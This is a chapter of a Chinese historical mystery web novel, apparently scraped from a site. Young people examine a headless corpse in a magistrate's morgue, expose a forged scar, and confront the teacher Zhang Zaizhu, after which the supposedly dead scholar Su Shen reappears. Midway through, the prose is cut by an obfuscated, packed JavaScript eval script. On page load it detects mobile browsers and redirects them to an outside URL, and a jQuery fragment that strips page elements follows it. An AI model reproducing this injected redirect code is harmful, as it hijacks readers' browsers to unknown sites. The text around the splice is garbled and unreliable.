已是二更，星汉寥落，灯火杂疏。
州衙验尸房的窗棂被风撞得簌簌作响。
张祷被按着头蹲在门前大铜锁下，身边一群少郎与姑娘见死活撬不开这该死的锁，便撺掇了薛伯莲偷来铜钥。
这是陆琉入狱的第二日，苏慎的尸体还停在验尸房。
宋嘉澍青白着脸喃喃道:“苏慎多年只与老母孤苦相依，乡里无攀，无人替其收尸，这样含冤死去，想必薛济源也头疼他的去处，不知哪个天才立策，说是告知了义庄老头来上门敛尸，我们的机会不多了，都说怨魂恶鬼不得投胎，苏慎会不会……”
就是这车轱辘话，宋嘉澍原地兜圈念个不停。
他其实怕得要死，觉得脑门凉，脖子更凉，手脚发抖，忖度是不是苏慎在他身旁吹气，为给自己壮胆，脚下的圈是越兜越大。
宋栀宁气得跺跺脚，幸得她今日穿了软底缎面鞋子，也没多大声响，她一把拎住宋嘉澍的衣领子到门前来。
她轻声说道:“宋嘉澍！你真是黄毛鼠的胆子，料想舅母也是一个能在诗会赏花宴掀翻桌子的人，还总半夜去寻舅舅坟茔说话，这样胆大的娘怎么有你这样的儿郎？再说……我们这次可是为了陆先生！”
言朝兮提着一只没点着的羊角灯，蜷缩在门口一角，她唤了唤蹲下抱头的宋嘉澍，软声道:“表哥莫怕，你又不是那等杀害苏同窗的罪人，要不是你在舫底找到他，他的肉身还得于江下造福鱼虾，说来说去，苏同窗应谢你为其冤屈大白世人。”
站在言朝兮身前半步，似是有意无意为其抵挡夜风的沈昙一只手搭在了宋嘉澍的肩上，悄然点了点他的清明穴。
“宋郎君，道家有言，‘方生方死，方死方生’。苏生是冤，不是恶，并非游荡俗世，投不了胎，你莫要被生死虚妄困住。”
但被沈昙挟制住的张祷则不那么想。
张祷撇了撇嘴道:“得了得了，姑娘与少君们，你们一是为先生，二又是为了这苏生，但这干我张祷有个鸟事……”
张祷两手撺在一起兜在袖子里，他什么荤话都往嘴外蹦，察觉到肩胛骨与手肘忽传来狠劲后，登时闭上了嘴。
宋栀宁觑了张祷一眼道:“谁叫你成日虾蟆吞天，好大吹嘘口气，一会是土夫子，一会又是义庄老头的得意弟子，我们不找你找谁，薛济源要是听说我们今夜摸进来，我们明日皮都要被祖母扒了，宋家老祖宗原地复活也救不了……”
言朝兮忽地听闻匆匆踏近的脚步声，拽紧了身侧的宋栀宁，示意她噤声。
薛伯莲抹了抹额角的汗:“要让我爹知道，不得打死我……”
四人见到捏着铜钥晃了晃的薛伯莲后总算松了一口气。
他们的心被那每转动一把的铜钥紧紧吊着，晌久，才听到寂夜中忽传来“咔嚓”声，随着木门轻推，验尸房中沉寂的灰尘与尸臭扑鼻而来。
张祷使了个眼色，让这些贵人家的儿郎姑娘们以袖捂鼻。
沈昙吹燃了火折子，点在了言朝兮提着的羊角灯里。
昏黄光晕下，映照在墙上的六人身影被拉得极长。
张祷神神秘秘地从挎着的小木匣中取出苍术投入墙角的炭盆，白烟升腾后，他捏起银针探入尸体喉管，又拿起银刀沿颈骨断口切入，刃面映出参差骨茬。
“断颈创缘泛白萎缩，确是死后斩首，以锋利的裁宣刀所割，”他沉声开口，却又吞吞吐吐道，“只不过这手法看似伶俐，却又像是钝刀子割肉，还扯出了两寸颈皮，你瞧。”
言朝兮提起羊角灯端详两眼，蓦地想到什么似的愣住了。
宋嘉澍闻言疾疾背过身去，是一副要吐未吐的模样，宋栀宁怜悯地拍了拍他的肩。
张祷似乎发现了什么，他用柳叶银刀尖挑起那喉头残留的胶状物，置于羊角灯中炙烤，腥甜味骤然浓烈，他还捻指尝了尝:“这喉中还有鱼鳔胶与绢帛絮呢。”
盯着张祷舔舐的动作，宋栀宁瞠目结舌起来，她捂着嘴与宋嘉澍一齐背过了身。
“这尸斑浸入肌理，指压不褪，”张祷扳动尸身侧卧，腰背交界处大片紫红云状斑痕已转为青黑，“确是死了七日有余嘛。”
言朝兮手中的羊角灯照在了死尸足底，她困惑道:“还是有什么不对，那顾侑初怎么认得了苏慎足底伤疤？”
“那条伤疤，是在三年前落下的，”宋嘉澍转过身，怔怔看着尸体足底如蜈蚣般的旧疤，“顾侑初刚来族学那年冬天，凤玱四野大雪封山，他在族学非说……看见苏慎的母亲拾捡了顾家地里的柴禾断枝，而那枝还是黄花梨或檀木，谁都知道这是谎话，他踢倒了廊下的碳盆，火碳横躺一路。”
“顾侑初说……要苏同窗给十两金来换他母亲拾的好柴禾，如若给不出，倚仗同窗之情，若他能赤足走完火碳路，那个冬日的柴禾，顾家都包圆了。”
“后面的事……你们就都知道了。”宋嘉澍垂首道。
众人默然看着那条歪曲丑陋的疤，验尸房更是死寂了。
宋栀宁小声啜泣起来，她捶了捶胸口道:“他们顾家糟践我娘不够，还要作践其余平民百姓，我真是想如三太子，剔骨剜肉……”
言朝兮拉住宋栀宁的胳膊，摸了摸她的卯发道:“你不许说这些糊涂话，栀宁对我来说，就是栀宁，是世界上最好的姑娘。”
沈昙负手低眸瞧了在宋栀宁耳边说悄悄话的言朝兮。
张祷叹了口气，拿出竹镊翻着死者左足底，以醋渍棉布敷之，竟在半刻后揭去了。
“旧疤是经年硬化，醋渍不褪，此痕虽覆泥垢，然边缘肌理尚存新生肉芽，应当是……日前以热铁烙伤，复涂五倍汁液仿旧，”他用银针轻挑疤痕表层，暗红痂皮下渗出淡黄尸液，“我听说州衙的老仵作贺师叔可是仵作祖承衣钵，不应该那么没用啊，连这都瞧不出来。”
张祷还想继续责怼时，门口处传来一道苍老的声音。
“算你张三有眼光！要不是……老夫至于如此吗？”
“老夫这把老骨头哟，连夜赶到义庄老兄那，才知道丟了个人，他让我管管，又不是我吃了，我管个屁！”
州衙仵作老贺跨过门槛，挟制着满脸灰丧的薛伯莲。
仵作老贺似是没想到屋内有一群少郎与姑娘，不由与挤满了狭小验尸房的众人面面相觑起来。
*
凌霄院。
宋嘉澍眼底发青，在满院子兜圈子，一手握成拳捶打另一只手心，自问自答，脚步不歇。
“完了，完了，陆先生明日午时就要在奉公街抄斩了……那具无头男尸不是苏慎，苏慎人呢？他应该没死，有人伪造成苏慎的尸体，是谁伪造？只能是苏慎自己，他替考十三年不假，与陆先生有争执也不假，但人不是陆先生杀的，仵作老头都可以作证，那替考一案怎么证？只能找到苏慎……”
“所以，苏慎人呢！”
宋嘉澍兜兜转转又回到原地，头发乱成一团，他看着一旁还在悠闲做秋千架的两人，自己简直快要昏死在地。
“你们还有功夫做秋千架！”他咆哮道。
庭院浸满暮色，日轮西坠。
两人面对着宋嘉澍的怒吼也不着急。
沈昙衣摆掠过青砖，弯腰拾起一段木料时，屈指叩了叩木料，他手下的刨刀贴着木纹游走，碎金般的光屑簌簌落在靴边。
沈昙将麻绳穿过凿孔时突然顿住，指腹在粗粝绳结上摩挲两回，言朝兮递上了绣帕，一人绑在一边。
往来廊中的小丫鬟只当这位小郎君是言朝兮请来作秋千的帮手，亦是宋少君的同窗，好奇地瞥了眼这容颜秾丽的少郎。
宋嘉澍冲二人狂吠道:“你们的耳朵还在吗！”
“试试。”他退后半步，指节仍虚虚护在麻绳外侧。轻轻推了下秋千，待言朝兮的月白襦裙荡开，忽又上前扣住晃动的秋千索。
“二哥？”言朝兮回首不解道。
“要不要再垫层软缎？”沈昙缓缓念道。
“有理。”言朝兮回道。
宋嘉澍冲到两人面前，堪比白瓷的面容挂满涕泪，上下唇瓣发抖，却一把被言朝兮按到秋千架上，再被沈昙忽地一推。
“嘉澍表哥看见什么了？”
“翠微琉璃塔……”
秋千被推得更高了。
“还有呢？”
“阿包叔收摊了，鹦枝又跑出小门，栀宁正往凌霄院来，还有……祖母的瑞霭堂比邻的，观澜阁小厨的炊烟？”
观澜阁，已然寂寥无人十年，据说是祖父生前惹祖母生气后的小居之所。
宋嘉澍点脚察觉身后推秋千的动作停了，他转身回眸，看到枫藤青墙前的两人齐齐望向宋府的观澜阁屋顶的琉璃瓦。
“祖母迎了位贵客，别居在此五日了，嘉澍表哥不好奇是谁吗？”
“那可是我们族学要请来的张在竹先生。”
紫芙的小厨房每分出一些点心吃食，言朝兮就在宋家多了一双眼睛。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195545|165642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
余晖下，她笑容粲粲。
*
张在竹端午那日在绮罗江畔一望到团团围绕的人群后，他随即迈开双腿朝宋家跑去，像条疯狗。
他心想，还看什么裸奔，颁什么彩，他自己都要被大卸八块咯。
天杀的，他们动手怎么那么快，那狸猫太子的雁翎刀可不是开玩笑的。
可怜他六十岁的老骨头，又一次断在丹雘裙摆前。
“谢二娘！你好歹看在我把言荞那小子带回来的份上……会包我吃住罢。”
宋老太君斜睨两眼，想到那个只剩下一抔灰的女婿，握紧了鸩杖。
张在竹被安排住在了观澜阁。
他享受着谢承淮的锦被软枕，三餐宴席，还有满阁的藏书，日子过得简直如神仙般快活，如果不是被那几个少郎与姑娘找上门，他觉得自己还能再苟活一会功夫。
两个少郎拉过花凳先让两个小姑娘坐下，再一人站在张在竹一侧。
像两尊门神。
这十七八岁的少郎，就是愣头愣脑只听漂亮姑娘的话。
“先生好悠闲，不如我为先生讲个故事佐饭罢，南定四年，有位举人年方二十，虽出身寒微，但未来光明坦途，即可想见，然他在会试前夜失踪缺考，而今日的吏部郎中却在当年成了会元，人人不敢言那李郎中自小绣花枕头，会试前夜正鼾睡青坊。”
“此后十三年，那举子都因各种荒唐好笑的原因缺失应试，或是写了一半被查抄出舞弊的衣裳，扫地出门。他的母亲苏七娘早年为承平侯顾家作奶母，不知何处得罪主母，往后却做着洒扫仆妇低伏做小，以为算攀上高枝得主家怜悯，却被顾家视为麻雀登枝，故而严冬掠柴，久病夺药。”
张在竹当作旁若无人，尽扒拉着碗里的碧粳米，当面前缓缓道来的小姑娘并不存在。
他手中筷子却被两个少郎夺走，另一个小姑娘坐在绣凳上哭红了眼看着他。
他真是受够了谢吟波的这些孙辈，性子顽劣得很，幸好他并未娶妻生子，不然多累。
“待到秋来九月八，好似这十三年，天底下对那举子而言，不管朝哪个方位，落哪只脚，都是大大小小的坑。只有去年春闱主司官张相……让其全头全尾写完了那份答卷，可惜，他仍未中，且张相也在去岁年末乞骸回乡。”
“今岁府试将至，我想，这回举子要替考的该是谁，孰亲应当就是顾家世子罢……很巧的是，那举子的娘，恰好病没了，既如此，他兴许再也没有后顾之忧了，但他也想到如若自己不去，替考的又会是哪位贫寒人家的学子。”
“于是，他做了一个决定，将绢帛塞在死尸喉间，让这具尸体在最热闹的端午沉河，就算发现的不是宋郎君，也会是薛郎君，谢郎君诸人，只要世人看见就还有一丝希望。”
言朝兮夺过张在竹手中的青瓷饭碗:“但举子错了，因为……有人又蒙上了世人的眼睛，还不经意害了他的恩师。”
张在竹捻了一片桌上莲盘中的炙羊肉，放在嘴里的动作忽地一顿。
言朝兮眼周赤红，喉间哽咽道:“这个举子，就是宋氏族学陆琉先生的得意门生，衡安元年在稽州谢氏庇护下连中三元的张相怜悯过的一只羔羊——苏慎。”
“蚍蜉之力，如何撼树，他一定有人在帮，而与顾家有血海深仇，又有能庇护一番这胆小的苏举子权势的，只能是雍州宋家了。”
说到这，宋栀宁不禁伏在言朝兮怀中啜泣起来。
张在竹后背冷汗涔涔，摸着两股讪笑道:“言小姑娘都在说些什么？你兴许不知我是谁，我是你们族学新请来的先生，舟车劳顿休歇两日罢了，待后日才得在族学见面，你讲的话本也蛮有意思，但千万别在外面讲，有人不喜欢。”
言朝兮定定注视着张在竹的眼睛:“我见过张先生的画像，但……张先生是怎么知道我闺阁姓言的呢？”
张在竹如遭雷击，暗道不好。
他怎么敢说，因为这小姑娘与言荞，不仅面容肖似六分，那骨子更是完完全全的言荞。
言朝兮叹了口气，又直视着那排书橱道:“张同窗，你窃闻许久，还是不愿意出来吗？就这番看着陆先生明日午时斩首吗？”
书橱后忽传出脚步移动声，负手走出一位面容沧桑晦暗，身型枯瘦的青衫郎君，他双眸发黯，声弱如蚊蚋:“这位姑娘，你说错了。”
苏慎一个字一个字从胸腔里挤出。
“我娘，是自缢，而亡。”